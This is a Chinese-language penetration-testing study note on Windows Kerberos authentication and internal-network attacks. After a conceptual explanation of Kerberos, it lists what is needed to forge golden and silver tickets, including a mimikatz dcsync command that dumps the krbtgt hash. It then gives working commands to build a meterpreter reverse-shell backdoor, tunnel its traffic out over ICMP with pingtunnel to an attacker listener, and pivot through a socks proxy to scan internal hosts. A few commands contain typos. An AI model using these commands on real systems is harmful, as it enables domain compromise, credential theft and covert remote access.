CS DNS隧道上线

https://whale3070.github.io/2021/02/05/11-x/#%E5%9F%BA%E7%A1%80

windows三大认证

本地认证

自己登陆自己电脑

网络认证

两台电脑之间要访问资源,可以通过网络认证后进行访问

kerberos 认证

域环境中的认证方式

https://blog.csdn.net/zzq060143/article/details/120531735

https://www.freebuf.com/articles/network/371446.html

客户端
服务端
密钥分发中心

密钥分发中心KDC(Key Distribution Center ) ,密钥分发中心一般又分为两部分,分别是

​ AS(Authentication Server):认证服务器,专门用来认证客户端的身份并发放客户用户访问的TGS的TGT(票据授予票据)

​ TGS(Ticket Granting Server): 票据授予服务器,用来发放整个认证过程以及客户端访问服务端是所系的服务授予票据(Ticket)

三次通信验证机制

image-20230702024819915

第一次:客户端请求AS,传递自己的信息给AS

AS收到请求后,去数据库验证你是否存在,不验证对错,如果存在,AS产生随机的session key,这个key将用于你和TGS的通信

AS会发送两部分信息给你,一部分是TGT,通过KDC自己的密码加密,另一部分通过你的密码加密,如果你的密码是正确的,你可以解密第二部分信息,获取到TGS session key ,如果密码不正确,无法解密,则认证失败,第一部分是TGT你是无法解密的,需要暂时缓存起来。

# 请求信息 1
name
ip
TGT的有效时间
#回送信息 2
name KDC 自己的密码加密
ip
TGS name
TGT 生命周期
时间戳
TGS session key

TGS name 你的密码加密
时间戳
生命周期
TGS session key

第二次:如果第一部分你已经成功,那你已经获得无法解密的TGT和TGS session key ,请求TGS,

TGS收到信息后,检查数据库中是否包含你请求的http服务名,如果存在,则通过KDC的密码解密TGT,这时,我们就能获取到TGS session key 然后通过TGS session key去解密你传输的第一部分认证器,获取到你的用户名和时间戳,此时TGS在进行验证:

1.对比TGT中的用户名与认证器中的用户
2.比较时间戳
3.检查是否过期
4.检查IP地址是否一致
5.检查认证器是否已在TGS缓存中(避免应答攻击)
6.可以在这部分添加权限认证服务

TGS随机产生一个HTTP service session key ,同时准备http service ticket(ST)

# 请求信息 3
name TGS session key加密
时间戳
请求的服务名
http service 的ticket的生存周期 明文传输
# 回送信息 4
name 通过http服务的密码加密(ST)
IP
时间戳
http服务name
ST的生命周期
http service session key

http服务的name 通过TGS session key加密
时间戳
ST的生命周期
http service session key

你收到信息后,通过TGS session key 解密,获取了HTTP session key,但是你无法解密ST

第三次:前面两步成功后,以后每次获取http服务,在ticket没有过期,或者无更新的情况下,都可以直接进行这一步,省略前面的两个步骤

# 请求信息
name http service session key加密
时间戳

服务端收到后,通过自己的密码解压ST(KDC是http服务的密码加密的),这样就能够获取到http servicesession key 解密好之后,进行检查

1.对比ST中的用户名,与认证器中的用户名
2.比较时间戳
3.检查是否过期
4.检查IP地址是否一致
5.检查认证器是否已在HTTP服务的缓冲中
# 回答信息
http服务name
时间戳

你通过缓存的http service session key 解密这部分信息,然后验证是否是你想要的服务器发给你的信息,完成验证

黄金票据: 直接跳过AS ,伪造tgt获得st

伪造条件:

1.域名称  (shell net config workstation)
2.域的SID值(shell whoami /user)
3.域的KRBTGT账号的hash(lsadump::dcsync /domain:tset.cocm /all /csv)
4.伪造任意用户名(随便写)

白银票据: 直接伪造ST,更加隐蔽和难以检测

白银票据伪造条件

1.域名称
2.域sid
3.目标服务器名
4.可利用的服务
5.服务账号的NTLM hash
6.需要伪造的用户名

委派攻击、

在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的。

约束性委派

非约束性委派

基于资源的约束性委派

https://www.bilibili.com/video/BV1rV4y1Q7hN/?spm_id_from=333.999.0.0&vd_source=46ee6094905cc129c486ece81308d827

不出网

今天在学习内网的时候上传后门后遇到了TCP协议不出网的问题

解决方法是利用pingtunnel脚本将TCP流量转换成ICMP 流量从而实现MSF上线

把TCP协议数据封装成ICMP协议数据 隧道技术

具体流程:

**1.**生成后门:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 -f exe > xd.exe

**2.**MSF启动监听:
msfconsole
use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 0.0.0.0

set Ipont 4444

exploit

**3.**Kali开启隧道:
./pingtunnel -type server

**4.**Win开启隧道//将本地3333icmp协议数据转发至66ip的4444流量上(管理员运行)

pingtunnel.exe -type client -l 127.0.0.1:3333 -5 192.168.46.66 -t 192.168.46.66:4444 -tcp 1 -noprint 1 -nolog 1

这样做的目的是通过pingtunnel利用隧道把TCP流量转换成ICMP流量

1、pingtunnle 客户端先将tcp转为了icmp (这一步就已经完成了出网)
2、pingtunnle 服务端将icmp转为tcp
3、pingtunnle 服务端紧接着转发到msf4444端口

这是很简单得出网底层逻辑,这个逻辑可以套用在任何出网技巧

msf生成代理

第一步、使用MSF生成socks代理

攻击者使用的MSF开启代理:

msfconsole
use auxiliary/server/socks4a
exploit

默认就会在1080端口开放socks4代理

第二步、更改ProxyChains配置文件
vi /etc/proxychains.conf
socks4 192.168.0.66 1080 //新增一行
第三步、利用外层Web服务器的meterpreter,添加静态路由
sessions 1  //根据自己的实际情况进入session
run autoroute -s 10.10.1.0/24 //绑定内网网段
run autoroute -p //查看是否绑定成功
第四步、使用代理进行攻击

这里以Nmap举例:

proxychains3 nmap -sT -Pn 10.10.1.12 -p 80  //扫描10.10.1.12的80端口

使用火狐打开内网OA页面:

proxychains3 firefox http://10.10.1.12